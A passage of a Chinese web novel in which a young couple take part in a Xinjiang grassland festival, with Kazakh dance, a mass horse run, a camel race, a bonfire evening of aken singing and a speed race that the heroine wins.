骑手们控制着坐骑，面露自豪之色。队伍中有两位看样子已经年过半百，胡须花白，但他们的眼神却依然锐利如鹰。 还有两位则是看上去十七八岁的少年，脸颊上是被草原的风吹的红晕，但难掩意气风发。 大多数还是二三十岁的年轻人，他们的活力感染了周边的观众，就连主席台上坐着的领导们也纷纷笑了起来。 石县长见到他们就觉得跟见到自己娘家人了一样，里面又有姚新泉和师月江这两位小朋友，便笑着侧过头去跟秦威说话。 “这小兔崽子们一个个活泼的不行，领头的是谁啊？我咋没什么印象？” “他也是牧民出身，后来去当兵了，这才退伍”。 石县长啧啧两声，这种身体素质退伍做什么啊？ 主办方安排的是要骑马绕场一周，等走到四分之三的时候下一组进场。 姚新泉等人退场后众人不免都围着那名壮汉，那人哈哈大笑朝着众人比了比自己的肱二头肌，有几个自来熟的都上手去摸了摸。 等情绪平复后众人又牵着马栓了起来，随后去了他们县定好的位置处坐下。 全部队伍进场完毕，纷纷在指定区域坐好，主持人又说了几句串场词后便是文艺表演了。 “你好好看看，这是我们本地文艺活动必有的一个节目，《黑走马》”，姚新泉拿胳膊怼了怼师月江，他嗯了一声朝舞台上看去。 八位年轻的小伙儿和姑娘走上了舞台，摆好了姿势，等待音乐的响起。 师月江看向他们的服装，巴郎子们身着黑色金丝绒坎肩，雪白衬衫的袖口绣着云卷纹，腰系银扣牛皮腰带，垂挂的彩珠随时会跟着动作飞旋。 姑娘们则是穿着高腰束身的红色连衣裙，裙摆宽大，面料隔得太远看不太清是什么，但是垂坠感特别强，旋转起来肯定很飘逸灵动。 她们头上戴着猫头鹰羽饰的塔克亚帽，发辫间银币碰撞出清越的声响。 众人 的目光不禁被这些年轻舞者们吸引过去。 当旋律响起时，舞者们突然随着音乐侧身滑步，双膝始终保持弹性弯曲，模拟黑走马在草甸上稳健的步态。 女舞者们旋转时，百褶裙如雪莲绽放。 他们的动作带着游牧民族特有的幽默与豪迈，每一次耸肩都似骏马抖落鞍上的露水，每一次眨眼都带着哈萨克人特有的诙谐。 “这只舞蹈是哈萨克游牧文化的产物，他们爱马，也爱音乐，更爱生活”，姚新泉在一旁给师月江解释，“黑走马的故事传说有好多个版本，流传比较广的有两个。” “一个是说早年哈萨克人和蒙古人发生过战争，但是战败了，有一匹黑色骏马就作为财物被掠夺走了。后来在一次聚会上，蒙古人把这匹马牵出来炫耀，而马的主人见到了这匹自己日思夜想的伙伴后那是又激动又愤怒，但他也没别的办法，更不能通过武力夺回自己的骏马。” “后来他灵机一动拿起自己的冬不拉弹奏了起来，琴声里满是他对这匹马的深厚感情。” “很神奇的是这匹聪明的又很通人性的骏马听懂了音乐，它奋力挣脱缰绳，不顾一切地奔向弹琴的哈萨克青年，并随着音乐的节奏踏蹄、摆首、旋转，跳起了激动的舞蹈。” “在场众人无不为他们的深情厚谊而感动，后来蒙古人也把马还给他了，这是一个传说。” “还有另外一个传说是个爱情故事，我就不细讲了。” 师月江不同意，“为什么不细讲？” “你不觉得他跟马儿的故事会比爱情故事更有意思吗？” 师月江不管那么多，非磨着她继续讲，姚新泉无奈只能继续。 “另一个就很简单的小故事，一个哈族巴郎子为了向心爱的姑娘表达爱意，所以骑着自己最好的伙伴，也就是一匹黑骏马给她表演各种高难度的骑术，并即兴弹奏冬不拉。女孩儿被他感动，也跟着起舞，两人就在一起了。” “他们的爱情故事、音乐还有舞蹈也随着传开了”，她摊了摊手，“就是这样，很无趣对不对？” 师月江笑着摇头，“怎么会，很有趣啊！” 姚新泉不可思议地看着他，一时不知道说什么。 倒是师月江又问，“那我要是跟平安给你表演一番，你是不是也会被感动？” 看出他眼中戏谑的笑意了，姚新泉翻了个白眼，“你可别折腾平安了！” 随着音乐结束，舞者们也收了动作，定格在原地，台下观众掌声轰然响起，久久不停。 “我从小到大参与的各种活动里都能见到《黑走马》，有全是男生的，也有全是女生的，还有男女混合的，这绝对算是哈族老少咸宜的一个节目了。” 之后又是几首歌曲和舞蹈，像是《新疆好》、《达坂城的姑娘》、《青春舞曲》还有《打起手鼓唱起歌》，反正场子是热起来了。 不少人都跟着舞了起来，姚新泉和师月江两人都不是内向的人，气氛起来后两人也跟着扭了起来。 上面领导见气氛好，只有高兴的，也没再扫兴，反而带着其他人先走了。 开幕式也算是结束了，但热烈的气氛却不会结束。 下午的活动要四点多才开始，所以中间留够了给他们自由活动的时间，姚新泉两人又去了那些小摊位上闲逛。 1点半左右师星野电话打来了，说他已经到了这边，两人赶紧找了过去。 见师星野还穿着衬衣西裤，两人干脆带着他去了一个服饰摊位，让老板按照师星野的尺码给他拿了一套衣服。 知道师星野不喜欢太花哨的，所以师月江给他选了一件米白色的长衫，只有领口和袖口有简单的黑色刺绣边。 下装是一条深棕色的轻薄棉质宽松长裤，脚上踩着软底皮靴。 “很精神”，师月江赞道，姚新泉也点头。 说起来这哥俩都是衣架子，师月江更高却也更瘦，而师星野个子刚到一米八，但肩宽腰细，背也习惯性地挺得笔直，再加上气质加持，在人群中很是耀眼。 一路上不少姑娘都在偷看他，偏他也十分悠闲自在，没有丝毫不适。 “主办方管饭，咱们先去吃吧！”两人是参加活动的运动员，自然是管饭的，师星野的话付钱买就可以了。 午饭是在户外吃的，三人过去后就见到那边放了一排十来个巨大的铁锅，估摸着一锅就够几十人吃了。 刚一靠近就闻到了浓郁的香气，姚新泉吸了吸鼻子，“我咋觉得自家做的就是没外面的香啊？” 他们两个在家里也做抓饭，有用羊肉做的，也有用鹅肉做的，都很好吃，可总觉得没在外面吃的有意思。 “你就是觉得人多了吃饭香”，师月江揭穿她，姚新泉耸了耸肩也不解释，况且事实就是这样。 看着不少人已经捧着碗在吃了，姚新泉只觉得肚子咕咕叫。 他们去了一锅快做好的饭面前等，开锅的刹那，巨大的蒸汽裹挟着霸道而温暖的香气扑鼻而来，三人此时都觉得好像没有比这更好吃的东西了。 羊肉的丰腴、米饭的扎实、胡萝卜的微甜以及孜然等香料的独特气息轰然腾起，瞬间便笼罩住了众人，不少人都嘟囔着，可真香啊！主办方下血本了啊！ 抓饭被盛到碗里，饱满的米粒被羊油浸润，呈现出诱人而统一的金黄油润色泽，米饭微微粘连，口感更是无敌了。 而米饭底下还埋藏着大块带骨的羊肉，姚新泉咬了一大口，啧啧，真好吃啊！大口吃肉大口吃饭的快乐真是什么都没办法比拟的！ 师月江又端了一小碟皮辣红过来，她夹了一块儿皮牙子，清甜爽口又带着微微的辣意。 再吃一口裹挟着胡萝卜、羊肉的米饭，啊，真香！ 第217章 “领跑骑手准备好了吗？”郑风此时只觉得自己心都要到嗓子眼儿了。 今天的“万马奔腾”是他负责的,一旦出了点什么事情，事后肯定要跟他追责。但是这种参与人数众多，而且还有许多动物的情况下,整个活动就变得愈发不可控了。 随着开始的时间逼近,他只觉得自己的手都控制不住在抖。 “准备好了,他提前几天已经在熟悉路线,并且骑手也是身经百练的老人了,他跟马的配合度也非常默契,应该不会出什么问题的。” “不是应该，应该有什么用？”郑风皱了皱眉但到底也没再多说什么了。 “再去检查下马，不只是头马，还有咱们跟牧民们租来的马,至少得确认身体没问题,别出什么意外。” 等人群动起来了他又忍不住原地踱步了一会儿干脆去骑手那边看看。 姚新泉正在跟师月江确认他是不是确实要参加,“你可别勉强，这不是开玩笑的，一旦有什么不对,这身后可一群马和人呢,到时候想停都停不下来！” 姚新泉还是有些担忧的，师月江会骑马,也骑得很不错,但是有时候不是说会骑马,能骑马,就能领跑的。 师月江笑着安抚她，“你放心，我和平安在牧场上也总是在一块儿的，很有默契,咱们也竞速过不是吗？” 不管是不愿意输给姚新泉也好，还是想陪她一起参与这样的活动也罢，他都不想放弃这个机会。 再说了，他真的一点也不勉强啊！ 他虽然不胖，但是不代表不健壮啊！ 姚新泉心里还是不放心，但这种事情到底还是要尊重对方的意愿的。 他们县的骑手共有35人，但是参与到领跑中的人加他们两个也只有18个，女性更是只有姚新泉一个，所以众人的目光有意无意地都往这边飘。 时间差不多到了，主办方已经安排人带他们过去，等众人到地时候就见到数百匹马被集中到了一片地方。 草浪翻滚，一直涌向天际，与湛蓝如洗的天空相接。远山如黛，在天边勾勒出起伏的曲线。那达慕大会的旗帜在风中猎猎作 响，五彩的经幡缠绕在蒙古包上。 姚新泉骑着皮皮站在起跑线前面，她微微俯身拍了拍皮皮的脖子，“好姑娘，你可得争点儿气啊！” 皮皮像是感受到了压抑下埋藏着的火热的气氛，她不安地动了动蹄子，但神情是激动又跃跃欲试的。 姚新泉把她鬃毛上的蝴蝶结取了下来，给她顺了顺毛，深吸了一口气，平复下躁动的心情，又和师月江对视了一眼，眼中满是战意。 师星野拍下照片后满意地笑了，这小两口对视起来可真有感觉。他没去骑汗血宝马，就算是骑了，他的骑术也不允许他参加这种活动，不过能凑凑热闹也让人高兴。 今天地风不小，姚新泉的衬衣袖子都被吹得鼓包。 远处，数百匹马汇聚成一片移动的海洋。马群躁动不安，马蹄踏地的声音如同远方的闷雷，震得草原微微颤抖。马鬃起伏如浪，在太阳光下泛着油亮的光泽。这景象既令人敬畏，又让人心潮澎湃。 号角声蓦然响起，低沉悠远，这是在通知骑手们上马，就见不少还站在地上的骑手们轻盈上马，整装待发。 突然牛皮大鼓被重重敲响，咚的一声，如同惊雷劈开苍穹。 领跑开始了。 姚新泉轻夹马腹，皮皮如离弦的箭一般射出。风立刻扑面而来，扯动着她的衣服和头发。 最开始她还能隐约听到身后观众的欢呼，但很快就被另一种声音淹没，那是万马奔腾的轰鸣，如同海啸般从后方席卷而来。 马是高度群居的动物，会本能地跟随领头的马奔跑。随着骑手们出发，那边的马群也被放开，众马简直可以称之为倾泻而出。 姚新泉不敢回头，她能感觉到大地的震颤越来越强烈。上百匹马同时奔跑的声响，像是持续不断的雷鸣，又像是大地本身在咆哮。空气中也弥漫着尘土和青草被碾碎的气息，混合着马汗的味道。 她不合时宜地想着，听说这次时间紧任务重，再加上又是第一次举办这种大型活动，所以也没敢把规模弄得太大，生怕没办法控制，最后只弄了五六百匹马过来。 五六百匹都有这个效果，那如果真的是“万马奔腾”呢？那得是怎样壮观的场面？ 皮皮速度很快，她每一次落地都轻盈而有力，如同贴着草尖飞行。姚新泉能感受到皮皮全身肌肉的协调运作，感受到那种几乎要破体而出的速度感。 风在耳边呼啸，将所有的杂音都吹散，只留下马蹄叩击大地的节奏和皮皮粗重的呼吸。 她不知道自己排在第几位，但是那位据说早就被选好的领跑人确实在第一位。 他骑着一匹油光水华的黑马，姚新泉没凑近看，没办法分辨是什么品种的，但也能感受得到，那绝对是一匹难得的好马。 她收回心神，不再看其他人。 而在她身边不远处的师月江目光也落在了她的侧脸上，真的，每一次，每一次他都能被对方全神贯注的模样所吸引啊！ 师月江没想争名次，更没指望能得第一，在骑术在他比不上姚新泉，但至少不能被落下太远。他赶忙集中精神，奋力前进！ 定好的路上有一条河流，这是骑手们早就知道的事情，所以当他们看到前方那如一条银练般横隔在草原上的河流时，众人没有丝毫犹豫，纷纷策马直入河。 冰凉的河水瞬间浸透了衣袍，皮皮在水中奋力前行，溅起的水花拍打在姚新泉的脸上，她微眯起眼睛集中注意力。 河水不浅，最深处甚至没至马腹，水流的力量让前进变得艰难，但皮皮步伐稳健，丝毫不乱。 姚新泉控制好自己的身体尽量不给她增加别的负担，她们配合默契，丝毫不迟疑，勇往直前。 就在这时，马群也涌入了河中。 比赛是圈出了安全地带的，围观的人群站在远处哪怕看不清马儿的模样，看不清骑手的表情，但一个个也都激动得大叫起来！ 师星野通过镜头追逐着他们的身影，只觉得身临其境，他的血也随之热了起来。 随着马群进入河流，那景象壮观得令人窒息。 五六百匹马同时渡河，溅起的水花如同突然爆发的山洪。马匹嘶鸣着，挣扎着，河水被无数马蹄搅得浑浊不堪。浪涛汹涌，水声与马蹄声、马嘶声交织在一起，形成一种震天动地的交响。 在前的领跑人已经跃上对岸了，姚新泉和皮皮也是。水珠从皮皮的皮毛上滚落，如同披着一身晶莹的珍珠。姚新泉只觉得一种前所未有的激动在胸腔中翻涌，那种与五六百匹马共渡河流的震撼让她几乎忍耐不住胸腔中的躁意想要呐喊想要嘶吼。 但她只是抿紧嘴唇，眼神愈发坚定，目标就在前方。 河这边的草原同样一望无际，同样美的让人心醉，但他们都无暇在美景上耗费哪怕一丝一毫的精力，只是坚定地看着远方。 身后的马蹄声越来越近，如同滚滚雷声追赶着姚新泉。她似乎能感觉到马群带来的热流，能闻到更加浓烈的尘土和马汗味。 估计最近的马匹距离她不过短短几十米，她身后则是跟得很紧地其他领跑人，她似乎能听到其他骑手和马匹那沉重地呼吸声。 姚新泉甚至分心想了想自己和师月江能排第几，不过倒也没那么重要，不管是第几这都是一次难得的体验。 当然了，如果可以，她希望自己是第一！ 姚新泉轻抚马颈，感受到皮皮回应般地抖了抖鬃毛。这一刻，人马合一，心意相通。 激动之情如潮水般涌上心头，姚新泉只觉得眼眶发热。 她从小生长在草原上，她虽不是游牧民族，但她血脉里一样流淌着对草原、对速度、对自由那与生俱来的热爱！ 前方突然出现了一道缓坡，皮皮竟毫不减速，反倒是趁机发力，速度竟又快了几分。她的肌肉绷紧又舒展，每一个动作都那么完美无瑕，姚新泉不知道的是，她和皮皮的表现早就落在了其他人的眼中。 “这个小姚，这个小姚可真出息啊！”石县长忍不住哈哈抚掌大笑，他虽不再是“娘家”那边的县长，但是他和姚新泉他们私交不错，怎么可能不为她而高兴和自豪？ 秦威也笑，看那模样恨不得自己冲上去跟着起跑一样。 那位发言的市里领导自然也是通过望远镜看到了这一幕的，他见石县长和秦威似乎认识这位女同志便笑着问，“那位女同志是你们源县的？” “领导，她是我们县的，叫姚新泉”，秦威笑着给他介绍。 另一边的石县长也赶忙道，“我估计您应该听过她，之前7.2诈骗案就是她揭发的，还有去年我还是阿依巴勒县的副县 长时带队去参加乌洽会，也有不少好点子时她和她对象提的。就在她身后紧紧跟着的那位男同志就是她对象，叫师月江。” 老同志笑着点了点头，“巾帼不让须眉啊！好同志！” 第218章 参与领跑的女性有十来个,她们在这种场合敢上场就证明她们绝对是有足够的自信，所以基本没有落在最后的。 但像姚新泉那样，和他们提前准备好的领跑人并驾齐驱的也只有这一位了,众人怎么可能注意不到？ 正在领跑的众人的注意力都在前方,当到达坡顶的瞬间,那边的景象更是美的令人屏息。 广袤的草原在脚下延伸,绿浪一直涌向天边。阳光毫无保留地洒落,将万物镀上金色。 姚新泉没忍住回头看了一眼,就见身后万马奔腾的场面恢宏壮阔，马群如同潮水一般漫过草原，涌上山坡，马鬃在风中飘扬,形成一片起伏的黑色波浪,而马蹄扬起的尘土在阳光中形成金色的雾霭,让整个场面如梦似幻。 这一刻，激动之情达到顶点。姚新泉再一次感到自己渺小如草芥，在广阔的草原中如此微不足道。 她策马下坡,向着终点飞驰。 皮皮的四蹄几乎不沾地,如同御风而行。姚新泉也配合着伏低身子，减少风阻,她能感觉到皮皮全身的力量都在这一刻爆发,她竟然还有余力！ 终点线的彩旗在前方招展,越来越近,越来越近！ 马群紧追不舍，她余光看了眼周围，这才猛然发现，自己和领跑人竟然基本在同一条线上。 她赶忙收紧心神,在这最后时刻，她与皮皮如同闪电般划过草原，率先冲过终点线。 随后迅速拨转马头，让开通道，为奔腾的马群让路。 她身后跟着的骑手们也纷纷让开了位置，毕竟此时闹不好就得出意外。 就在领跑人们闪开的瞬间，马群如决堤洪水般涌过终点，控制不住地继续向前奔去，仿佛永远不会停止。 马蹄踏过的草原微微颤动，扬起的尘土形成一道金色的帷幕。 但到底领跑的人停下了，马群停下也时迟早得事情，领跑得众人没人去管。 姚新泉勒马而立，她胸膛剧烈起伏，突然转身想找师月江。 她刚跳下马，就感受到了师月江的拥抱，姚新泉愣了一下，也用力抱了回去。 周围的领跑人本就一直注意着这位年轻的却能跑到第一的小姑娘，此时见两人就这样抱了起来，纷纷起哄，还吹起了口哨。 师月江脸上的笑意深了深，他贴在姚新泉耳边低声道，“我控制不住地想抱你想吻你。” 姚新泉有些不好意思地推开他，见两人分开了，不少人都凑了过来。 原本的那位被安排好的领跑人大笑着拍了拍姚新泉的肩膀，“真厉害！经常跑马是吗？” 她这一手骑术可不是一年半载骑一次马就能练出来的！ 姚新泉点了点头，“我家里有牧场，没事儿就骑骑马。” 那人又比了个大拇指，众人看着远处的马群，有工作人过去赶马，他们也没有再去管了。 缓了一会儿，姚新泉轻抚皮皮汗湿的颈项，又跟她碰了碰头感受着她尚未平息的激动，再去看了看平安，确定不管是精神还是腿上都还好，这才放下心来。 众人回程，夕阳西下，草原被染成了金红色。等众人到了会场那边时，观众们的欢呼声再次响起。 姚新泉和师月江两人并驾前行，“真好”。 师月江侧过头看了看她，笑了起来，“是啊，真好！” 之后是一些表演性质的活动，师星野也凑到两人身边来欣赏，其实还挺有意思的，很有野趣。 像是骆驼赛跑，姚新泉他们就要被笑死了。 骆驼跑步，与马之类的不太一样。它们平日里总是看着很温吞，不急不徐的，但此时鞭声一响，它们却也纷纷抖擞精神，四蹄翻飞，哪怕是在草原上同样还是掀起了阵阵沙烟。 只见骑手们伏在驼峰之间，身体随之前后摇摆，也不知道时间久了会不会晕骆驼…… 观众们自然也不安静，呼喝之声不绝于耳。小孩子们尤其兴奋，在人群中钻来钻去，试图寻个更好的视角。姚新泉身旁一个小子就差点冲进比赛场地，被她给捞回来了。 有骆驼突然加速，超越前者时，观众阵阵喝彩，而若是哪头不慎失足，又会引起阵阵惊呼。 方才的万马奔腾确实刺激好看，但也有弊端，那就是观众没办法跟着看啊！ 但现在就不一样了，那跑起来的骆驼离他们可就五六米！ 姚新泉几人也跟着观众欢呼，异变突生，一头骆驼似乎时跑晕了，也认不得方向便往人群里冲，那骑手急得又是拽缰绳又是破口大骂的，就怕这畜生要是真撞到人了可怎么办！ 可那骆驼劲儿大，脾气又死犟死犟的，骑手愣是拽不住，他赶紧跳下来想办法控制。 见那骆驼离观众越来越近，姚新泉二人对视一眼，赶忙跑进比赛场地，跟着骑手一起安抚骆驼。 师月江帮着一起控制，姚新泉则是一边嘴里安抚着一边按摩它的风府穴，这个穴位位于颈后，头骨正下方凹陷处，位置比较好找，而且具有镇定安神的效果。 这家伙最开始只是找不着方向了，但后来骑手又是骂又是抽的，还使劲拉缰绳，它的暴脾气就上来了，情绪很是激动。 随着姚新泉的按摩和安抚，骆驼情绪好了一些，骑手感谢了两人后臊眉搭眼地就想离开，结果人家骆驼根本不愿意！ 见骑手红着脸拽不动骆驼的模样，观众又笑了起来，姚新泉无奈叹气，只能跟着先把骆驼送了回去。 两人回来后师星野打趣，“新泉你可真招动物喜欢啊！” 姚新泉苦笑，她把湿哒哒的袖子理了理，师星野不解，“这是怎么了？” 师月江无奈，“那骆驼咬的，弄了她一胳膊口水，没办法只能去洗一下了。” “怎么不去换一套？风这么大，别吹感冒了！” “没事儿”，姚新泉摆了摆手，“晚上还有个篝火晚会，我过会儿回去再换吧！” 之后还有马术表演，什么“蹬里藏身”、“马背站立”、“左右腾跃”等等，看得众人目不暇接，纷纷叫好。 “回头我带着公司的人来这边团建，还蛮有趣的”，师星野看的还挺有趣的。 “不过新省旅游再好，问题也有，距离太远，现在那机票多贵，不是谁都能坐得起的。但如果坐火车，来回最起码七八天都得在路上了。” “但新省独一无二的极致风光、浓郁异域的文化和舌尖上的诱惑，完全值得这份遥远”，姚新泉答的毫不迟疑，她无比热爱这片土地。 师星野不置可否，不过旅游本来就是通过花钱来净化心灵来让自己放松开心的。 以后不好说，但现在会天南海北去旅游的绝对是有钱人，时间也就不成问题了。 晚饭是拉条子，众人吃了晚饭后，姚新泉找了个洗手间把衣服换了，她换上了自己带来的一条裙子。 这条裙子是姚新泉早就找人做好的，这个时节刚好合适拿来穿。 裙子的料子不厚，但也不是夏天那种薄薄的一层，晚上风大还是有点凉的。 裙子拿在手里还是挺有分量的，而且垂感很好，不会轻飘飘地贴在身上。 这条裙子的底色是姚新泉选的，是偏深的墨绿色，她很喜欢绿色，各种各样的绿都很喜欢。 裙子上面用稍浅一些的绿线、金棕色的线绣着各样图案。她专门找了绣娘一针一线绣的，摸上去有清晰的凹凸感，很有质感。 图案主要是弯弯的卷草纹和变形的花朵，对称地分布在裙摆、袖口和领口周围。这些图案不算复杂，但很规整，针脚细密均匀，没有一根线头是胡乱冒出来的，穿着也很舒服。 领子是小立领，贴着脖颈，但不会勒。门襟从领口正中向下延伸，上面钉着几颗圆形的银白色金属扣子，扣子表面刻着简单的几何花纹，扣起来很顺滑。袖子是长袖，在手腕处微微收了一点口，也绣着一圈窄窄的与裙摆呼应的边。 腰身她特意让剪裁得比较宽松，不是紧包在身上的款式，当然了，本身游牧民族的裙子为了功能性也会比较宽松的。 裙子还专门配了一条同色系的布腰带，在侧面系一个结，垂下一小段，既点明了腰线，又显得很随意。裙子长度大概到小腿中间，下面她是配了一双皮靴子。 北疆已经算是入秋了，晚上穿上这样一条裙子，外面加一件马甲刚刚好。 她又把专门带过来的那顶帽子戴在了头上，开门后在师月江面前转了一圈，裙摆飞扬，“好看吗？” 师月江愣愣地看着她，眼中是毫不掩饰的惊艳，“特别好看！” 他赶忙把脖子上的相机取下来，“我给你拍几张照片！” 姚新泉笑着点头，她摆了几个姿势拍好后又拉着师月江去找了师星野让他帮着拍照。 师星野无奈，“我感觉你们叫我过来就是让我给你们拍照的！” 姚新泉挽着师月江的胳膊，头轻轻朝他这边倾斜，“那大哥不愿意吗？” 师星野按下快门后忍不住笑了，“看你们过得好，我怎么会不愿意？” 【全文完结】 第219章 中央，…… 草原中央,巨大的篝火已经点燃，火舌欢快地向上窜动，噼啪作响,火星子如金蛾般四散飞舞,又迅速湮灭在夜色里。 姚新泉三人到的时候场子已经热起来了,光与热辐射开来,驱散了草原上秋夜渐浓的寒意,火光跳跃在每一个人脸上,众人笑着唱着，好不开心。 空气里也弥漫着复杂而诱人的气息，它们似乎能听见烤全羊的油脂滴落在火中发出的声音，那股焦香也萦绕在鼻尖。 三人接过旁边的人递过来的热奶茶捧在手里,喝一口只觉得嘴里氤氲着奶香与砖茶的醇厚。 有人要给三人倒马□□酒,三人笑着拒绝了,马奶酒味道实在独特，哪怕是姚新泉都喝不来。 手鼓率先敲响了节奏，声音清脆而富有穿透力。紧接着,深沉而悠扬的冬不拉琴声也流淌进来,随后都塔尔的琴弦被拨动，也加入这合奏。 场内没有司仪,音乐是唯一的召唤,召唤着灵魂发出共鸣的友人。 几位哈萨克小伙子笑着伴随着隐约声跃入火光照耀的圆圈中心,他们应该是没有专门学过跳舞的,但舞步同样刚健有力。 他们肩膀灵活地耸动、旋转，嘴里伴着音乐声低声唱着，皮靴踏在草地上，发出富有韵律的闷响,每个人的脸上都带着浓浓的笑容。 很快，穿着艾德莱斯绸长裙的美丽姑娘们像一群被音乐催开的花朵翩然滑入舞池加入舞蹈。 她们的舞姿曼妙灵动，颈部的轻移，手腕的翻转，眼波流动，无不带着与生俱来的节奏感。彩色的裙摆飞扬开来，犹如夜色中盛放的绚烂花环。 “可真好看！”姚新泉感慨，一旁的师星野捧着相机又拍摄了起来。 欢快的音乐弹了一阵后渐渐弱了下去，众人就见一位哈萨克老人被几位年轻人簇拥着，来到了篝火旁最光亮的位置。 老人面容清癯，面上的皱纹如同干涸河床的龟裂，满是风霜与岁月，但他却有着一双异常明亮的眼睛，与人对视时瞬间便能让你沉浸。 他怀中抱着一把看起来很有岁月感的冬不拉，琴身被摩挲得温润光亮。 老人微微颔首，布满老茧的手指轻轻拨动了琴弦。几个音符流淌而出，仿佛草原夜风的低语，瞬间就让喧闹的场面安静了下来。所有的目光都聚焦在他身上。 “阿肯弹唱”，姚新泉小声给两人介绍，“这是哈萨克族的一种古老而又独特的民间艺术。阿肯的意思就是吟游诗人、诗人或者歌手。阿肯们会通过即兴创作去弹唱，内容主题也是包罗万象，有历史传说、爱情故事甚至是幽默的笑话，什么都可以，即兴、随性，自由又热烈。” 老人开口吟唱，他的声音并非多么洪亮，却有一种奇特的穿透力，苍凉、沙哑，却又无比清晰，每一个音节都仿佛带着重量，落入每个人的耳中，直抵心田。 师星野虽听不懂歌词，但那旋律中蕴含的沧桑、以及某种对天地万物的咏叹，都让他不由自主地屏住了呼吸。 师月江听懂了一点，他小声问，“好像是在歌唱某位英雄？” “阿勒帕米斯，在阿肯弹唱里面能够完整、生动地弹唱《阿勒帕米斯》是衡量一位阿肯技艺水平和知识深度的最重要标准”，姚新泉解释道，“这是一位虚构的人物，但是体现了哈萨克民族的伦理观和世界观，他身上也有着让人赞颂的各种美好品质，像勇敢、智慧、正义、忠诚等等。” 老人的歌声时而高亢，仿佛鹰击长空，诉说着这位英雄曾经的荣光与勇敢，又时而低沉呜咽，如泣如诉，那是这位英雄遇到了挫折。 有时也会显得温柔绵长，那是唱到了他心爱的妻子巴尔申。他的表情随着歌词内容不断变化，时而激昂，时而忧伤，时而陷入深深的沉思。冬不拉的琴声完美地追随着他的吟唱，时而如万马奔腾，时而如溪水潺潺。 整个场地静极了，只有老人的歌声、琴声和篝火燃烧的噼啪声。跳舞的人们早已停下，静静地围坐聆听。就连最活泼好动的孩子，也依偎在母亲怀里，睁着大眼睛，似懂非懂地感受着这古老艺术形式的巨大感染力。这是一种超越了语言的美，是草原灵魂的直接倾诉。 一曲终了，余音袅袅，仿佛融入了夜空，化作了星辰。静默持续了片刻，随即，爆发出真正发自内心的、雷鸣般的掌声和喝彩声。人们高声叫好，老人缓缓放下冬不拉，脸上露出一丝谦逊而满足的微笑，接受了这份敬意。 阿肯的弹唱仿佛是一个情绪的转换器，之后的歌舞似乎注入了一份更深沉的情感。随着音乐再次变得欢快，人们的舞步中，笑容里，似乎多了一层方才那苍凉歌声所赋予的厚度。 姚新泉拉起师月江的手，“咱们去跳吧！” 师月江笑着起身，两人融入舞蹈的人群，没有谁在刻意模仿谁的舞步，只是闭上眼睛，感受着风的吹拂、火的温度、音乐的节奏。 他们旋转着跳跃着忘情地舞着，仿佛他们自己也成了这盛大晚会的一部分，成了这草原之夜的一个音符，夜很漫长。 第二天上午是摔跤的预赛和复赛，师月江过了预赛，但复赛时输给了一位大腿都快有姚新泉腰粗的蒙族壮汉，师星野见弟弟下来赶紧拍了拍他的肩膀，“你这也不容易啊！” 下午的射箭，师月江因为有射击的基础，所以堪堪进了复赛。 两人谁都没有参加赛马中的长距离耐力赛，所以第二天的日程还比较空闲。 第三天上午，摔跤的决赛和两人没关系，但两人也去看了比赛，最后得冠军的是一位身高190，体重也得有150公斤的壮汉，哪怕姚新泉有增加力气的金手指，她也觉得即便自己用尽全力一拳头锤过去，人家眉头都不会皱一下。 速度赛两人都参加了，没有任何波折地进入了下午的决赛。 速度赛这回只有10公里的，但事实上这是针对的是2岁到4岁的年轻马，正经搞比赛的话，4岁以上应该跑的是18-25公里，不过这次速度赛只安排了这一场赛事。 决赛的起点处，数十匹骏马焦躁地踏动着蹄子，喷吐着白色的鼻息，肌肉在光滑的皮毛下突突跳动。 姚新泉伏在皮皮的颈侧，她能清晰地感受到皮皮胸腔里那颗渴望奔腾的心脏，正如同战鼓般擂动。 她深吸一口气，攥紧了缰绳，指关节因用力而发白，目光如锥，死死钉在前方那片跑道。 既然比赛，那就要赢！ 号令骤响！ 如同蓄满洪水的闸门轰然洞开，一群矫健的闪电猛然劈出！马蹄声不再是单一的声响，而是汇聚成奔雷，沉重地撞击着大地，震得人脚底发麻，心脏都要跳出胸腔。 风似乎也在瞬间变得暴烈，撕扯着她的头发，灌满她的衣袖，发出猎猎的声响。 她几乎贴在了马背上，身体随着马匹狂野的节奏起伏律动，人马合一，化为一支射出的利箭。 姚新泉只觉得视野两侧的景物疯狂地倒退、模糊，唯有正前方的赛道无比清晰。耳边是呼啸的风声、震耳欲聋的马蹄声、观众席爆发出的模糊的呐喊助威声，所有这些声音搅拌在一起，让她胸腔中的热血即将喷涌而出！ 最后的直道！肌肉在燃烧，肺叶在灼痛，极限的感觉清晰可辨。但皮皮却爆发出更惊人的力量，四蹄几乎腾空，每一次蹬地都充满炸裂般的力量感，超越，再超越！ 她也是这两天才知道，原来看着调皮捣蛋的皮皮竟然有这般强的胜负欲。 巧了不是？她也是！ 终点那根细小的红线在眼中极速放大，仿佛世界的全部意义都凝聚于此。 冲线！ 欢呼声如潮水般喷涌而出，而周围的祝贺声传入耳中她才如梦初醒般反应过来，“我赢了？我是第一名？” 师月江点头，“没错，你就是第一！” 比赛和之前的万马奔腾领跑还不一样，是有个正经奖牌的，姚新泉跑去领了奖牌，石县长挤走了原本 给他们颁奖的人，自己来给她颁奖。 “小姚同志可以啊！你都不知道，多少人都在跟我打听你，还在跟我打听你那匹马！” 这两次皮皮的潜力已经足够被人看到了，自然有人存了别的心思。 姚新泉笑着接过了奖牌，“我不会把皮皮给任何人的”，这样偶尔玩玩也就算了，真去赛马，对马的身体损伤太大了，有几匹能安稳退役？ 皮皮是她的朋友，她不可能把她给别人。 “放心，我都帮你拒了”，石县长安抚，他自然知道姚新泉是什么人，别说她不缺钱，就算缺钱，也不至于卖马！ 等下来后姚新泉把奖牌递给师月江，“送你了”，师月江爱不释手地摩挲着奖牌，“这是什么？安慰奖吗？” 他也不错，得了第六名，别觉得容易，这次几个县加起来参与竞速赛的可有近百人，第六名绝对拿得出手！ “是，安慰你的，免得你晚上哭鼻子！” 师月江失笑，但还是把奖牌好生收着了。 他俩还参与了叼羊的比赛，不过这个是在耐力赛之后，还能再歇一会儿。 两人牵着皮皮和平安又遛了一会儿，感觉他们缓过来了，她摸了摸两匹马身上，感觉温度还好，不算太高，不用专门降温了。 她去给两匹马要了些干净水来，没要太多，后面还有剧烈运动，喝多的话容易腹痛。 检查了他们俩的四肢和蹄子都没什么问题，这才跟师月江分别拿了胡萝卜和苹果给两个小家伙解解馋，又给喂了些柔软易消化的苜蓿草就差不多了。 叼羊马上要开始了！ 